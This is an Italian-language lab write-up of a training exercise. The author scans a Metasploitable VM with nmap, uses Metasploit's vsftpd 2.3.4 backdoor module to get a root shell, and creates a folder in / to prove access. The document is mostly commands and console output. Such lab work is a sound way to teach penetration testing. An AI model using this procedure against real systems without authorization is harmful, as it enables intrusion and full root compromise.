

L'obiettivo dell'esercizio è di acquisire il controllo della macchina metasploitable da kali.

Accertiamoci che comunicano tra di loro e successivamente digitiamo il comando “msfconsole” per iniziare la sessione.

```
davide@kali: ~  
File Actions Edit View Help  
(davide@kali)-[~]  
$ msfconsole  
Metasploit tip: Search can apply complex filters such as search cve:2009  
type:exploit, see all the filters with help search  
  
d8P d8P  
d888888P d888888P  
d8bd8b.d8p d8888b ?88' d8888b8b  
88P'?P'?P d8b_,dP 88P d8P' ?88  
d88 d8 ?8 88b 88b 88b ,88b .os$__$*~ d8P ?8b 88P  
d88' d88b 8b'?8888P'?8b'?88P'.a$__$q*~ ?88' ?88 ?88 88b d88 d88  
a$__$*~ 88b d8P 88b'?8888P'  
s$__$*~ 888888P' 88n  
a$__$*~ d88P' .,ass%#S$__$*~  
a$__$*~ -.,-aqsc#S$__$*~  
a$__$*~ -.,-ass#S$__$*~  
a$__$*~ a$__$*~  
8888888P'  
ll666666'  
... ;ll6666'  
... ;llllll'  
.....;llll;.....  
.....;llll;.....  
  
=[ metasploit v6.3.51-dev ]  
+ -- --[ 2384 exploits - 1235 auxiliary - 418 post ]  
+ -- --[ 1388 payloads - 46 encoders - 11 nops ]  
+ -- --[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > 
```

Scansioniamo con nmap per enumerare le porte in ascolto attive su meta e visualizziamo che il servizio “vsftpd” p in ascolto sulla porta 21.

```
davide@kali: ~  
File Actions Edit View Help  
$ nmap -sV 192.168.1.149  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 14:52 CET  
Nmap scan report for 192.168.1.149  
Host is up (0.0020s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet?        
25/tcp    open  smtp?          
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec?          
513/tcp   open  login?         
514/tcp   open  shell?         
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ccproxy-ftp?   
3306/tcp  open  mysql?         
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  x11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 193.20 seconds  
  
(davide@kali)-[~]  
$
```

Eseguiamo il comando “search vsftpd” all’interno di metasploit per trovare il servizio di exploit dello stesso, in figura sono due e andremo ad utilizzare il secondo utilizzando il comando “use1” per selezionarlo. Dopo bisogna impostare l’indirizzo ip della macchina che vogliamo attaccare e digitiamo il comando “set RHOSTS 192.168.1.149”.

```
Matching Modules  
-----  
#  Name                                     Disclosure Date  Rank    Che  
ck Description  
--  -  
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes  
   VSFTPD 2.3.2 Denial of Service  
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No  
   VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
  
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149  
RHOSTS => 192.168.1.149  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Per verificare le nostre modifiche sono andate a buon fine digitiamo il comando “show options”

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      192.168.1.149    no        The local client address
  CPORT      21               no        The local client port
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Successivamente lanciamo il comando “exploit”, per confermare la riuscita dell’attacco scriviamo il comando “ifconfig” e visualizziamo che ci viene mostrato le informazioni dell’interfaccia di rete di Metaspitable. Questo sta a significare che siamo riusciti a creare una shell con accesso alla macchina target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:46227 → 192.168.1.149:6200) at 2024-03-04 15:05:14 +0100

ifconfig
sh: line 6: ifconfig: command not found
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:00:22:5b
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe00:225b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2613 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2970 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:207692 (202.8 KB)  TX bytes:224917 (219.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:472 errors:0 dropped:0 overruns:0 frame:0
          TX packets:472 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:108413 (105.8 KB)  TX bytes:108413 (105.8 KB)
```

L’esercizio ci chiedeva di creare una cartella della root con il comando “mkdir meta\_test”.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir Meta_test
```

Per verificare che sia andato tutto bene, apriamo la macchina di metasploitable e digitiamo i comandi cd/ e ls.

Come si visualizza in foto è stata correttamente eseguita la creazione della cartella.

```
msfadmin@metasploitable:~$ cd
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ls
-bash: cd: ls: No such file or directory
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ sudo loadkeys it
[sudo] password for msfadmin:
Loading /usr/share/keymaps/it.map.bz2
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  mnt      proc     srv      usr
boot     etc      initrd.img  media      nohup.out  root     sys      var
cdrom    home     lib      Meta_test  opt       sbin     tmp      vmlinuz
msfadmin@metasploitable:/$ _
```